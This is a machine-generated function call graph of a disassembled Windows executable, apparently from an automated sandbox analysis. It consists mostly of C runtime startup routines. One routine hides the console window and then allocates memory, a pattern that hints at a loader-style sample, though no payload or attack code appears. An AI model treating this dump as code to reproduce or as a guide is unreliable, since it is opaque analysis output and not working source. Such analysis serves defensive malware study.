__freea 14 API calls 11850->11851 11852 4066dc 11851->11852 11870 408325 11853->11870 11856 40ba77 11857 40ba83 __FrameHandler3::FrameUnwindToState 11856->11857 11941 409f3e EnterCriticalSection 11857->11941 11859 40bafa 11948 40bb19 11859->11948 11861 40ba8e 11861->11859 11863 40bace DeleteCriticalSection 11861->11863 11942 40e2b6 11861->11942 11865 408694 __freea 14 API calls 11863->11865 11865->11861 11867 40bb39 11866->11867 11869 4066b6 DeleteCriticalSection 11866->11869 11868 408694 __freea 14 API calls 11867->11868 11867->11869 11868->11869 11869->11847 11869->11850 11873 408279 11870->11873 11874 408285 __FrameHandler3::FrameUnwindToState 11873->11874 11881 409f3e EnterCriticalSection 11874->11881 11876 4082fb 11890 408319 11876->11890 11878 40828f ___scrt_uninitialize_crt 11878->11876 11882 4081ed 11878->11882 11881->11878 11883 4081f9 __FrameHandler3::FrameUnwindToState 11882->11883 11893 4066e6 EnterCriticalSection 11883->11893 11885 408203 ___scrt_uninitialize_crt 11886 40823c 11885->11886 11894 40842f 11885->11894 11907 40826d 11886->11907 11940 409f86 LeaveCriticalSection 11890->11940 11892 4066a2 11892->11856 11893->11885 11895 408444 ___std_exception_copy 11894->11895 11896 408456 11895->11896 11897 40844b 11895->11897 11899 4083c6 ___scrt_uninitialize_crt 64 API calls 11896->11899 11898 408325 ___scrt_uninitialize_crt 68 API calls 11897->11898 11900 408451 11898->11900 11901 408460 11899->11901 11902 4042bb ___std_exception_copy 39 API calls 11900->11902 11901->11900 11904 4065ab __fread_nolock 39 API calls 11901->11904 11903 40848e 11902->11903 11903->11886 11905 408477 11904->11905 11910 40c783 11905->11910 11939 4066fa LeaveCriticalSection 11907->11939 11909 40825b 11909->11878 11911 40c7a1 11910->11911 11912 40c794 11910->11912 11913 40c7ea 11911->11913 11917 40c7c8 11911->11917 11914 407b6a __dosmaperr 14 API calls 11912->11914 11915 407b6a __dosmaperr 14 API calls 11913->11915 11916 40c799 11914->11916 11918 40c7ef 11915->11918 11916->11900 11921 40c6e1 11917->11921 11920 406567 ___std_exception_copy 39 API calls 11918->11920 11920->11916 11922 40c6ed __FrameHandler3::FrameUnwindToState 11921->11922 11934 40a137 EnterCriticalSection 11922->11934 11924 40c6fc 11925 40c741 11924->11925 11927 40a3b3 __fread_nolock 39 API calls 11924->11927 11926 407b6a __dosmaperr 14 API calls 11925->11926 11928 40c748 11926->11928 11929 40c728 FlushFileBuffers 11927->11929 11935 40c777 11928->11935 11929->11928 11930 40c734 GetLastError 11929->11930 11932 407b57 __dosmaperr 14 API calls 11930->11932 11932->11925 11934->11924 11938 40a1ec LeaveCriticalSection 11935->11938 11937 40c760 11937->11916 11938->11937 11939->11909 11940->11892 11941->11861 11943 40e2c9 ___std_exception_copy 11942->11943 11951 40e191 11943->11951 11945 40e2d5 11946 4042bb ___std_exception_copy 39 API calls 11945->11946 11947 40e2e1 11946->11947 11947->11861 12001 409f86 LeaveCriticalSection 11948->12001 11950 40bb06 11950->11847 11952 40e19d __FrameHandler3::FrameUnwindToState 11951->11952 11953 40e1a7 11952->11953 11954 40e1ca 11952->11954 11955 4064ea ___std_exception_copy 39 API calls 11953->11955 11956 40e1c2 11954->11956 11962 4066e6 EnterCriticalSection 11954->11962 11955->11956 11956->11945 11958 40e1e8 11963 40e228 11958->11963 11960 40e1f5 11977 40e220 11960->11977 11962->11958 11964 40e235 11963->11964 11965 40e258 11963->11965 11966 4064ea ___std_exception_copy 39 API calls 11964->11966 11967 40e250 11965->11967 11968 4083c6 ___scrt_uninitialize_crt 64 API calls 11965->11968 11966->11967 11967->11960 11969 40e270 11968->11969 11970 40bb22 14 API calls 11969->11970 11971 40e278 11970->11971 11972 4065ab __fread_nolock 39 API calls 11971->11972 11973 40e284 11972->11973 11980 40e5fd 11973->11980 11976 408694 __freea 14 API calls 11976->11967 12000 4066fa LeaveCriticalSection 11977->12000 11979 40e226 11979->11956 11981 40e626 11980->11981 11982 40e28b 11980->11982 11983 40e675 11981->11983 11985 40e64d 11981->11985 11982->11967 11982->11976 11984 4064ea ___std_exception_copy 39 API calls 11983->11984 11984->11982 11987 40e56c 11985->11987 11988 40e578 __FrameHandler3::FrameUnwindToState 11987->11988 11995 40a137 EnterCriticalSection 11988->11995 11990 40e586 11991 40e5b7 11990->11991 11992 40e6d0 __wsopen_s 42 API calls 11990->11992 11996 40e5f1 11991->11996 11992->11991 11995->11990 11999 40a1ec LeaveCriticalSection 11996->11999 11998 40e5da 11998->11982 11999->11998 12000->11979 12001->11950 10611 40849d 10612 4084aa 10611->10612 10616 4084c2 10611->10616 10613 407b6a __dosmaperr 14 API calls 10612->10613 10614 4084af 10613->10614 10615 406567 ___std_exception_copy 39 API calls 10614->10615 10625 4084ba 10615->10625 10617 408521 10616->10617 10616->10625 10631 40d306 10616->10631 10618 4065ab __fread_nolock 39 API calls 10617->10618 10620 40853a 10618->10620 10636 407437 10620->10636 10623 4065ab __fread_nolock 39 API calls 10624 408573 10623->10624 10624->10625 10626 4065ab __fread_nolock 39 API calls 10624->10626 10627 408581 10626->10627 10627->10625 10628 4065ab __fread_nolock 39 API calls 10627->10628 10629 40858f 10628->10629 10630 4065ab __fread_nolock 39 API calls 10629->10630 10630->10625 10632 408637 __dosmaperr 14 API calls 10631->10632 10633 40d323 10632->10633 10634 408694 __freea 14 API calls 10633->10634 10635 40d32d 10634->10635 10635->10617 10637 407443 __FrameHandler3::FrameUnwindToState 10636->10637 10638 40744b 10637->10638 10641 407466 10637->10641 10639 407b57 __dosmaperr 14 API calls 10638->10639 10640 407450 10639->10640 10643 407b6a __dosmaperr 14 API calls 10640->10643 10642 40747d 10641->10642 10645 4074b8 10641->10645 10644 407b57 __dosmaperr 14 API calls 10642->10644 10665 407458 10643->10665 10646 407482 10644->10646 10647 4074c1 10645->10647 10648 4074d6 10645->10648 10650 407b6a __dosmaperr 14 API calls 10646->10650 10651 407b57 __dosmaperr 14 API calls 10647->10651 10666 40a137 EnterCriticalSection 10648->10666 10653 40748a 10650->10653 10654 4074c6 10651->10654 10652 4074dc 10656 407510 10652->10656 10657 4074fb 10652->10657 10659 406567 ___std_exception_copy 39 API calls 10653->10659 10655 407b6a __dosmaperr 14 API calls 10654->10655 10655->10653 10660 407550 __fread_nolock 51 API calls 10656->10660 10658 407b6a __dosmaperr 14 API calls 10657->10658 10661 407500 10658->10661 10659->10665 10662 40750b 10660->10662 10663 407b57 __dosmaperr 14 API calls 10661->10663 10667 407548 10662->10667 10663->10662 10665->10623 10665->10625 10666->10652 10670 40a1ec LeaveCriticalSection 10667->10670 10669 40754e 10669->10665 10670->10669 8844 4012a0 8845 4012ac __FrameHandler3::FrameUnwindToState 8844->8845 8870 4014a2 8845->8870 8847 4012b3 8848 40140c 8847->8848 8858 4012dd ___scrt_is_nonwritable_in_current_image _unexpected ___scrt_release_startup_lock 8847->8858 8903 401796 IsProcessorFeaturePresent 8848->8903 8850 401413 8907 4059f2 8850->8907 8855 4012fc 8856 40137d 8881 405664 8856->8881 8858->8855 8858->8856 8896 4059cc 8858->8896 8860 401383 8885 401000 GetConsoleWindow ShowWindow 8860->8885 8871 4014ab 8870->8871 8913 401a05 IsProcessorFeaturePresent 8871->8913 8875 4014bc 8876 4014c0 8875->8876 8923 4060e1 8875->8923 8876->8847 8879 4014d7 8879->8847 8882 405672 8881->8882 8883 40566d 8881->8883 8882->8860 9239 4053be 8883->9239 9612 404813 8885->9612 8892 404b74 66 API calls 8893 401075 VirtualAlloc 8892->8893 9627 404d87 8893->9627 8897 406182 __FrameHandler3::FrameUnwindToState 8896->8897 8898 4059e2 __dosmaperr 8896->8898 8899 406c70 _unexpected 39 API calls 8897->8899 8898->8856 8902 406193 8899->8902 8900 40623e __FrameHandler3::FrameUnwindToState 39 API calls 8901 4061bd 8900->8901 8902->8900 8904 4017ac __fread_nolock _unexpected 8903->8904 8905 401857 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 8904->8905 8906 4018a2 _unexpected 8905->8906 8906->8850 10066 405826 8907->10066 8910 4059b6 8911 405826 _unexpected 21 API calls 8910->8911 8912 401421 8911->8912 8914 4014b7 8913->8914 8915 401ebe 8914->8915 8932 4024f1 8915->8932 8918 401ec7 8918->8875 8920 401ecf 8921 401eda 8920->8921 8946 40252d 8920->8946 8921->8875 8986 40b0ca 8923->8986 8926 401edd 8927 401ef0 8926->8927 8928 401ee6 8926->8928 8927->8876 8929 4024d6 ___vcrt_uninitialize_ptd 6 API calls 8928->8929 8930 401eeb 8929->8930 8931 40252d ___vcrt_uninitialize_locks DeleteCriticalSection 8930->8931 8931->8927 8933 4024fa 8932->8933 8935 402523 8933->8935 8936 401ec3 8933->8936 8950 40276d 8933->8950 8937 40252d ___vcrt_uninitialize_locks DeleteCriticalSection 8935->8937 8936->8918 8938 4024a3 8936->8938 8937->8936 8967 40267e 8938->8967 8941 4024b8 8941->8920 8944 4024d3 8944->8920 8947 402557 8946->8947 8948 402538 8946->8948 8947->8918 8949 402542 DeleteCriticalSection 8948->8949 8949->8947 8949->8949 8955 402593 8950->8955 8953 4027a5 InitializeCriticalSectionAndSpinCount 8954 402790 8953->8954 8954->8933 8956 4025b0 8955->8956 8959 4025b4 8955->8959 8956->8953 8956->8954 8957 40261c GetProcAddress 8957->8956 8959->8956 8959->8957 8960 40260d 8959->8960 8962 402633 LoadLibraryExW 8959->8962 8960->8957 8961 402615 FreeLibrary 8960->8961 8961->8957 8963 40264a GetLastError 8962->8963 8964 40267a 8962->8964 8963->8964 8965 402655 ___vcrt_FlsSetValue 8963->8965 8964->8959 8965->8964 8966 40266b LoadLibraryExW 8965->8966 8966->8959 8968 402593 ___vcrt_FlsSetValue 5 API calls 8967->8968 8969 402698 8968->8969 8970 4026b1 TlsAlloc 8969->8970 8971 4024ad 8969->8971 8971->8941 8972 40272f 8971->8972 8973 402593 ___vcrt_FlsSetValue 5 API calls 8972->8973 8974 402749 8973->8974 8975 402764 TlsSetValue 8974->8975 8976 4024c6 8974->8976 8975->8976 8976->8944 8977 4024d6 8976->8977 8978 4024e0 8977->8978 8979 4024e6 8977->8979 8981 4026b9 8978->8981 8979->8941 8982 402593 ___vcrt_FlsSetValue 5 API calls 8981->8982 8983 4026d3 8982->8983 8984 4026eb TlsFree 8983->8984 8985 4026df 8983->8985 8984->8985 8985->8979 8987 40b0da 8986->8987 8988 4014c9 8986->8988 8987->8988 8991 407a41 8987->8991 9003 407991 8987->9003 8988->8879 8988->8926 8992 407a4d __FrameHandler3::FrameUnwindToState 8991->8992 9008 409f3e EnterCriticalSection 8992->9008 8994 407a54 9009 40a099 8994->9009 8997 407a72 9028 407a98 8997->9028 9002 407991 2 API calls 9002->8997 9004 407998 9003->9004 9005 4079db GetStdHandle 9004->9005 9006 407a3d 9004->9006 9007 4079ee GetFileType 9004->9007 9005->9004 9006->8987 9007->9004 9008->8994 9010 40a0a5 __FrameHandler3::FrameUnwindToState 9009->9010 9011 40a0ae 9010->9011 9012 40a0cf 9010->9012 9039 407b6a 9011->9039 9031 409f3e EnterCriticalSection 9012->9031 9017 407a63 9017->8997 9022 4078db GetStartupInfoW 9017->9022 9018 40a107 9045 40a12e 9018->9045 9020 40a0db 9020->9018 9032 409fe9 9020->9032 9023 4078f8 9022->9023 9024 40798c 9022->9024 9023->9024 9025 40a099 40 API calls 9023->9025 9024->9002 9026 407920 9025->9026 9026->9024 9027 407950 GetFileType 9026->9027 9027->9026 9238 409f86 LeaveCriticalSection 9028->9238 9030 407a83 9030->8987 9031->9020 9048 408637 9032->9048 9034 40a008 9060 408694 9034->9060 9036 409ffb 9036->9034 9055 40af1f 9036->9055 9093 406dc1 GetLastError 9039->9093 9041 407b6f 9042 406567 9041->9042 9157 4064b3 9042->9157 9237 409f86 LeaveCriticalSection 9045->9237 9047 40a135 9047->9017 9053 408644 __dosmaperr 9048->9053 9049 408684 9052 407b6a __dosmaperr 13 API calls 9049->9052 9050 40866f RtlAllocateHeap 9051 408682 9050->9051 9050->9053 9051->9036 9052->9051 9053->9049 9053->9050 9066 40b172 9053->9066 9079 40acdf 9055->9079 9057 40af3b 9058 40af59 InitializeCriticalSectionAndSpinCount 9057->9058 9059 40af44 9057->9059 9058->9059 9059->9036 9061 40869f HeapFree 9060->9061 9065 4086c9 9060->9065 9062 4086b4 GetLastError 9061->9062 9061->9065 9063 4086c1 __dosmaperr 9062->9063 9064 407b6a __dosmaperr 12 API calls 9063->9064 9064->9065 9065->9020 9069 40b19e 9066->9069 9070 40b1aa __FrameHandler3::FrameUnwindToState 9069->9070 9075 409f3e EnterCriticalSection 9070->9075 9072 40b1b5 _unexpected 9076 40b1ec 9072->9076 9075->9072 9077 409f86 _unexpected LeaveCriticalSection 9076->9077 9078 40b17d 9077->9078 9078->9053 9080 40ad0f 9079->9080 9084 40ad0b __dosmaperr 9079->9084 9080->9084 9085 40ac14 9080->9085 9083 40ad29 GetProcAddress 9083->9084 9084->9057 9091 40ac25 ___vcrt_FlsSetValue 9085->9091 9086 40ac43 LoadLibraryExW 9087 40acc2 9086->9087 9088 40ac5e GetLastError 9086->9088 9089 40acbb 9087->9089 9090 40acd4 FreeLibrary 9087->9090 9088->9091 9089->9083 9089->9084 9090->9089 9091->9086 9091->9089 9092 40ac91 LoadLibraryExW 9091->9092 9092->9087 9092->9091 9094 406ddd 9093->9094 9095 406dd7 9093->9095 9099 406de1 SetLastError 9094->9099 9121 40aedd 9094->9121 9116 40ae9e 9095->9116 9099->9041 9100 408637 __dosmaperr 12 API calls 9102 406e0e 9100->9102 9103 406e16 9102->9103 9104 406e27 9102->9104 9105 40aedd __dosmaperr 6 API calls 9103->9105 9106 40aedd __dosmaperr 6 API calls 9104->9106 9107 406e24 9105->9107 9108 406e33 9106->9108 9112 408694 __freea 12 API calls 9107->9112 9109 406e37 9108->9109 9110 406e4e 9108->9110 9111 40aedd __dosmaperr 6 API calls 9109->9111 9126 406a9e 9110->9126 9111->9107 9112->9099 9115 408694 __freea 12 API calls 9115->9099 9117 40acdf __dosmaperr 5 API calls 9116->9117 9118 40aeba 9117->9118 9119 40aec3 9118->9119 9120 40aed5 TlsGetValue 9118->9120 9119->9094 9122 40acdf __dosmaperr 5 API calls 9121->9122 9123 40aef9 9122->9123 9124 406df9 9123->9124 9125 40af17 TlsSetValue 9123->9125 9124->9099 9124->9100 9131 406932 9126->9131 9132 40693e __FrameHandler3::FrameUnwindToState 9131->9132 9145 409f3e EnterCriticalSection 9132->9145 9134 406948 9146 406978 9134->9146 9137 406a44 9138 406a50 __FrameHandler3::FrameUnwindToState 9137->9138 9149 409f3e EnterCriticalSection 9138->9149 9140 406a5a 9150 406c25 9140->9150 9142 406a72 9154 406a92 9142->9154 9145->9134 9147 409f86 _unexpected LeaveCriticalSection 9146->9147 9148 406966 9147->9148 9148->9137 9149->9140 9151 406c5b __dosmaperr 9150->9151 9152 406c34 __dosmaperr 9150->9152 9151->9142 9152->9151 9153 40a88f __dosmaperr 14 API calls 9152->9153 9153->9151 9155 409f86 _unexpected LeaveCriticalSection 9154->9155 9156 406a80 9155->9156 9156->9115 9158 4064c5 ___std_exception_copy 9157->9158 9163 4064ea 9158->9163 9160 4064dd 9174 4042bb 9160->9174 9164 406501 9163->9164 9165 4064fa 9163->9165 9170 40650f 9164->9170 9184 406342 9164->9184 9180 4046be GetLastError 9165->9180 9168 406536 9168->9170 9187 406577 IsProcessorFeaturePresent 9168->9187 9170->9160 9171 406566 9172 4064b3 ___std_exception_copy 39 API calls 9171->9172 9173 406573 9172->9173 9173->9160 9175 4042c7 9174->9175 9176 4042de 9175->9176 9219 404704 9175->9219 9177 4042f1 9176->9177 9179 404704 ___std_exception_copy 39 API calls 9176->9179 9177->9017 9179->9177 9181 4046d7 9180->9181 9191 406e72 9181->9191 9185 406366 9184->9185 9186 40634d GetLastError SetLastError 9184->9186 9185->9168 9186->9168 9188 406583 9187->9188 9213 40636b 9188->9213 9192 406e85 9191->9192 9196 406e8b 9191->9196 9194 40ae9e __dosmaperr 6 API calls 9192->9194 9193 40aedd __dosmaperr 6 API calls 9195 406ea5 9193->9195 9194->9196 9197 408637 __dosmaperr 14 API calls 9195->9197 9211 4046ef SetLastError 9195->9211 9196->9193 9196->9211 9198 406eb5 9197->9198 9199 406ed2 9198->9199 9200 406ebd 9198->9200 9202 40aedd __dosmaperr 6 API calls 9199->9202 9201 40aedd __dosmaperr 6 API calls 9200->9201 9204 406ec9 9201->9204 9203 406ede 9202->9203 9205 406ef1 9203->9205 9206 406ee2 9203->9206 9209 408694 __freea 14 API calls 9204->9209 9208 406a9e __dosmaperr 14 API calls 9205->9208 9207 40aedd __dosmaperr 6 API calls 9206->9207 9207->9204 9210 406efc 9208->9210 9209->9211 9212 408694 __freea 14 API calls 9210->9212 9211->9164 9212->9211 9214 406387 __fread_nolock _unexpected 9213->9214 9215 4063b3 IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter 9214->9215 9218 406484 _unexpected 9215->9218 9216 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9217 4064a2 GetCurrentProcess TerminateProcess 9216->9217 9217->9171 9218->9216 9220 404717 9219->9220 9221 40470e 9219->9221 9220->9176 9222 4046be ___std_exception_copy 16 API calls 9221->9222 9223 404713 9222->9223 9223->9220 9226 40623e 9223->9226 9227 40b2c7 _unexpected EnterCriticalSection LeaveCriticalSection 9226->9227 9228 406243 9227->9228 9229 40624e 9228->9229 9230 40b30c _unexpected 38 API calls 9228->9230 9231 406258 IsProcessorFeaturePresent 9229->9231 9232 406277 9229->9232 9230->9229 9234 406264 9231->9234 9233 4059b6 _unexpected 21 API calls 9232->9233 9235 406281 9233->9235 9236 40636b _unexpected 8 API calls 9234->9236 9236->9232 9237->9047 9238->9030 9240 4053c7 9239->9240 9243 4053dd 9239->9243 9240->9243 9245 4053ea 9240->9245 9242 4053d4 9242->9243 9262 405555 9242->9262 9243->8882 9246 4053f3 9245->9246 9247 4053f6 9245->9247 9246->9242 9270 409616 9247->9270 9252 405413 9298 405444 9252->9298 9253 405407 9254 408694 __freea 14 API calls 9253->9254 9257 40540d 9254->9257 9257->9242 9258 408694 __freea 14 API calls 9259 405437 9258->9259 9260 408694 __freea 14 API calls 9259->9260 9261 40543d 9260->9261 9261->9242 9263 4055c6 9262->9263 9268 405564 9262->9268 9263->9243 9264 409a30 WideCharToMultiByte __wsopen_s 9264->9268 9265 408637 __dosmaperr 14 API calls 9265->9268 9266 4055ca 9267 408694 __freea 14 API calls 9266->9267 9267->9263 9268->9263 9268->9264 9268->9265 9268->9266 9269 408694 __freea 14 API calls 9268->9269 9269->9268 9271 40961f 9270->9271 9275 4053fc 9270->9275 9320 406d2b 9271->9320 9276 409ad3 GetEnvironmentStringsW 9275->9276 9277 405401 9276->9277 9278 409aeb 9276->9278 9277->9252 9277->9253 9279 409a30 __wsopen_s WideCharToMultiByte 9278->9279 9280 409b08 9279->9280 9281 409b12 FreeEnvironmentStringsW 9280->9281 9282 409b1d 9280->9282 9281->9277 9283 40a6a3 __fread_nolock 15 API calls 9282->9283 9284 409b24 9283->9284 9285 409b2c 9284->9285 9286 409b3d 9284->9286 9288 408694 __freea 14 API calls 9285->9288 9287 409a30 __wsopen_s WideCharToMultiByte 9286->9287 9290 409b4d 9287->9290 9289 409b31 FreeEnvironmentStringsW 9288->9289 9291 409b6e 9289->9291 9292 409b54 9290->9292 9293 409b5c 9290->9293 9291->9277 9294 408694 __freea 14 API calls 9292->9294 9295 408694 __freea 14 API calls 9293->9295 9296 409b5a FreeEnvironmentStringsW 9294->9296 9295->9296 9296->9291 9299 405459 9298->9299 9300 408637 __dosmaperr 14 API calls 9299->9300 9301 405480 9300->9301 9302 405488 9301->9302 9312 405492 9301->9312 9303 408694 __freea 14 API calls 9302->9303 9304 40541a 9303->9304 9304->9258 9305 4054ef 9306 408694 __freea 14 API calls 9305->9306 9306->9304 9307 408637 __dosmaperr 14 API calls 9307->9312 9308 4054fe 9606 405526 9308->9606 9312->9305 9312->9307 9312->9308 9314 405519 9312->9314 9317 408694 __freea 14 API calls 9312->9317 9597 4061e4 9312->9597 9313 408694 __freea 14 API calls 9316 40550b 9313->9316 9315 406577 __wsopen_s 11 API calls 9314->9315 9318 405525 9315->9318 9319 408694 __freea 14 API calls 9316->9319 9317->9312 9319->9304 9321 406d36 9320->9321 9322 406d3c 9320->9322 9323 40ae9e __dosmaperr 6 API calls 9321->9323 9324 40aedd __dosmaperr 6 API calls 9322->9324 9326 406d42 9322->9326 9323->9322 9325 406d56 9324->9325 9325->9326 9327 408637 __dosmaperr 14 API calls 9325->9327 9328 40623e __FrameHandler3::FrameUnwindToState 39 API calls 9326->9328 9329 406d47 9326->9329 9330 406d66 9327->9330 9331 406dc0 9328->9331 9345 409421 9329->9345 9332 406d83 9330->9332 9333 406d6e 9330->9333 9335 40aedd __dosmaperr 6 API calls 9332->9335 9334 40aedd __dosmaperr 6 API calls 9333->9334 9336 406d7a 9334->9336 9337 406d8f 9335->9337 9340 408694 __freea 14 API calls 9336->9340 9338 406da2 9337->9338 9339 406d93 9337->9339 9342 406a9e __dosmaperr 14 API calls 9338->9342 9341 40aedd __dosmaperr 6 API calls 9339->9341 9340->9326 9341->9336 9343 406dad 9342->9343 9344 408694 __freea 14 API calls 9343->9344 9344->9329 9368 409576 9345->9368 9351 409475 9352 40948b 9351->9352 9353 40947d 9351->9353 9393 409671 9352->9393 9354 408694 __freea 14 API calls 9353->9354 9356 409464 9354->9356 9356->9275 9358 4094c3 9359 407b6a __dosmaperr 14 API calls 9358->9359 9361 4094c8 9359->9361 9360 40950a 9363 409553 9360->9363 9404 40909a 9360->9404 9364 408694 __freea 14 API calls 9361->9364 9362 4094de 9362->9360 9365 408694 __freea 14 API calls 9362->9365 9367 408694 __freea 14 API calls 9363->9367 9364->9356 9365->9360 9367->9356 9369 409582 __FrameHandler3::FrameUnwindToState 9368->9369 9370 40959c 9369->9370 9412 409f3e EnterCriticalSection 9369->9412 9372 40944b 9370->9372 9375 40623e __FrameHandler3::FrameUnwindToState 39 API calls 9370->9375 9379 4091a8 9372->9379 9373 4095d8 9413 4095f5 9373->9413 9376 409615 9375->9376 9377 4095ac 9377->9373 9378 408694 __freea 14 API calls 9377->9378 9378->9373 9417 4080af 9379->9417 9382 4091c9 GetOEMCP 9384 4091f2 9382->9384 9383 4091db 9383->9384 9385 4091e0 GetACP 9383->9385 9384->9356 9386 40a6a3 9384->9386 9385->9384 9387 40a6e1 9386->9387 9391 40a6b1 __dosmaperr 9386->9391 9388 407b6a __dosmaperr 14 API calls 9387->9388 9390 40a6df 9388->9390 9389 40a6cc HeapAlloc 9389->9390 9389->9391 9390->9351 9391->9387 9391->9389 9392 40b172 __dosmaperr 2 API calls 9391->9392 9392->9391 9394 4091a8 41 API calls 9393->9394 9395 409691 9394->9395 9396 409796 9395->9396 9398 4096ce IsValidCodePage 9395->9398 9403 4096e9 __fread_nolock 9395->9403 9497 401be5 9396->9497 9398->9396 9400 4096e0 9398->9400 9399 4094b8 9399->9358 9399->9362 9401 409709 GetCPInfo 9400->9401 9400->9403 9401->9396 9401->9403 9486 40927c 9403->9486 9405 4090a6 __FrameHandler3::FrameUnwindToState 9404->9405 9571 409f3e EnterCriticalSection 9405->9571 9407 4090b0 9572 4090e7 9407->9572 9412->9377 9416 409f86 LeaveCriticalSection 9413->9416 9415 4095fc 9415->9370 9416->9415 9418 4080cd 9417->9418 9424 4080c6 9417->9424 9418->9424 9425 406c70 GetLastError 9418->9425 9424->9382 9424->9383 9426 406c8c 9425->9426 9427 406c86 9425->9427 9429 40aedd __dosmaperr 6 API calls 9426->9429 9431 406c90 SetLastError 9426->9431 9428 40ae9e __dosmaperr 6 API calls 9427->9428 9428->9426 9430 406ca8 9429->9430 9430->9431 9433 408637 __dosmaperr 14 API calls 9430->9433 9435 406d20 9431->9435 9436 406d25 9431->9436 9434 406cbd 9433->9434 9437 406cc5 9434->9437 9438 406cd6 9434->9438 9452 408131 9435->9452 9439 40623e __FrameHandler3::FrameUnwindToState 37 API calls 9436->9439 9440 40aedd __dosmaperr 6 API calls 9437->9440 9441 40aedd __dosmaperr 6 API calls 9438->9441 9442 406d2a 9439->9442 9443 406cd3 9440->9443 9444 406ce2 9441->9444 9449 408694 __freea 14 API calls 9443->9449 9445 406ce6 9444->9445 9446 406cfd 9444->9446 9448 40aedd __dosmaperr 6 API calls 9445->9448 9447 406a9e __dosmaperr 14 API calls 9446->9447 9450 406d08 9447->9450 9448->9443 9449->9431 9451 408694 __freea 14 API calls 9450->9451 9451->9431 9453 408144 9452->9453 9454 408104 9452->9454 9453->9454 9460 40aadb 9453->9460 9456 40818f 9454->9456 9457 4081a2 9456->9457 9458 4081b7 9456->9458 9457->9458 9481 40965e 9457->9481 9458->9424 9461 40aae7 __FrameHandler3::FrameUnwindToState 9460->9461 9462 406c70 _unexpected 39 API calls 9461->9462 9463 40aaf0 9462->9463 9470 40ab36 9463->9470 9473 409f3e EnterCriticalSection 9463->9473 9465 40ab0e 9474 40ab5c 9465->9474 9470->9454 9471 40623e __FrameHandler3::FrameUnwindToState 39 API calls 9472 40ab5b 9471->9472 9473->9465 9475 40ab6a __dosmaperr 9474->9475 9477 40ab1f 9474->9477 9476 40a88f __dosmaperr 14 API calls 9475->9476 9475->9477 9476->9477 9478 40ab3b 9477->9478 9479 409f86 _unexpected LeaveCriticalSection 9478->9479 9480 40ab32 9479->9480 9480->9470 9480->9471 9482 406c70 _unexpected 39 API calls 9481->9482 9483 409663 9482->9483 9484 409576 __wsopen_s 39 API calls 9483->9484 9485 40966e 9484->9485 9485->9458 9487 4092a4 GetCPInfo 9486->9487 9496 40936d 9486->9496 9493 4092bc 9487->9493 9487->9496 9489 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9491 40941f 9489->9491 9491->9396 9504 40a6f1 9493->9504 9495 40dbf3 43 API calls 9495->9496 9496->9489 9498 401bed 9497->9498 9499 401bee IsProcessorFeaturePresent 9497->9499 9498->9399 9501 401c30 9499->9501 9570 401bf3 SetUnhandledExceptionFilter UnhandledExceptionFilter GetCurrentProcess TerminateProcess 9501->9570 9503 401d13 9503->9399 9505 4080af __wsopen_s 39 API calls 9504->9505 9506 40a711 9505->9506 9524 409976 9506->9524 9508 40a7cd 9510 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9508->9510 9509 40a7c5 9527 40a7f2 9509->9527 9513 409324 9510->9513 9511 40a73e 9511->9508 9511->9509 9512 40a6a3 __fread_nolock 15 API calls 9511->9512 9515 40a763 __fread_nolock __alloca_probe_16 9511->9515 9512->9515 9519 40dbf3 9513->9519 9515->9509 9516 409976 __fread_nolock MultiByteToWideChar 9515->9516 9517 40a7ac 9516->9517 9517->9509 9518 40a7b3 GetStringTypeW 9517->9518 9518->9509 9520 4080af __wsopen_s 39 API calls 9519->9520 9521 40dc06 9520->9521 9533 40da04 9521->9533 9531 4098de 9524->9531 9528 40a80f 9527->9528 9529 40a7fe 9527->9529 9528->9508 9529->9528 9530 408694 __freea 14 API calls 9529->9530 9530->9528 9532 4098ef MultiByteToWideChar 9531->9532 9532->9511 9534 40da1f 9533->9534 9535 409976 __fread_nolock MultiByteToWideChar 9534->9535 9538 40da63 9535->9538 9536 401be5 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 5 API calls 9537 409345 9536->9537 9537->9495 9539 40da89 __alloca_probe_16 9538->9539 9540 40a6a3 __fread_nolock 15 API calls 9538->9540 9542 40dbde 9538->9542 9553 40db31 9538->9553 9543 409976 __fread_nolock MultiByteToWideChar 9539->9543 9539->9553 9540->9539 9541 40a7f2 __freea 14 API calls 9541->9542 9542->9536 9544 40dad2 9543->9544 9544->9553 9561 40af6a 9544->9561 9547 40db40 9549 40dbc9 9547->9549 9551 40a6a3 __fread_nolock 15 API calls 9547->9551 9554 40db52 __alloca_probe_16 9547->9554 9548 40db08 9550 40af6a 6 API calls 9548->9550 9548->9553 9552 40a7f2 __freea 14 API calls 9549->9552 9550->9553 9551->9554 9552->9553 9553->9541 9554->9549 9555 40af6a 6 API calls 9554->9555 9556 40db95 9555->9556 9556->9549 9567 409a30 9556->9567 9558 40dbaf 9558->9549 9559 40dbb8 9558->9559 9560 40a7f2 __freea 14 API calls 9559->9560 9560->9553 9562 40abe0 LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary GetProcAddress 9561->9562 9563 40af75 9562->9563 9564 40afc7 LoadLibraryExW GetLastError LoadLibraryExW FreeLibrary GetProcAddress 9563->9564 9566 40af7b 9563->9566 9565 40afbb LCMapStringW 9564->9565 9565->9566 9566->9547 9566->9548 9566->9553 9569 409a43 __wsopen_s 9567->9569 9568 409a81 WideCharToMultiByte 9568->9558 9569->9568 9570->9503 9571->9407 9582 404e41 9572->9582 9574 409109 9575 404e41 __fread_nolock 39 API calls 9574->9575 9576 409128 9575->9576 9577 4090bd 9576->9577 9578 408694 __freea 14 API calls 9576->9578 9579 4090db 9577->9579 9578->9577 9596 409f86 LeaveCriticalSection 9579->9596 9581 4090c9 9581->9363 9583 404e52 9582->9583 9587 404e4e __fread_nolock 9582->9587 9584 404e59 9583->9584 9588 404e6c __fread_nolock 9583->9588 9585 407b6a __dosmaperr 14 API calls 9584->9585 9586 404e5e 9585->9586 9589 406567 ___std_exception_copy 39 API calls 9586->9589 9587->9574 9588->9587 9590 404e9a 9588->9590 9592 404ea3 9588->9592 9589->9587 9591 407b6a __dosmaperr 14 API calls 9590->9591 9593 404e9f 9591->9593 9592->9587 9594 407b6a 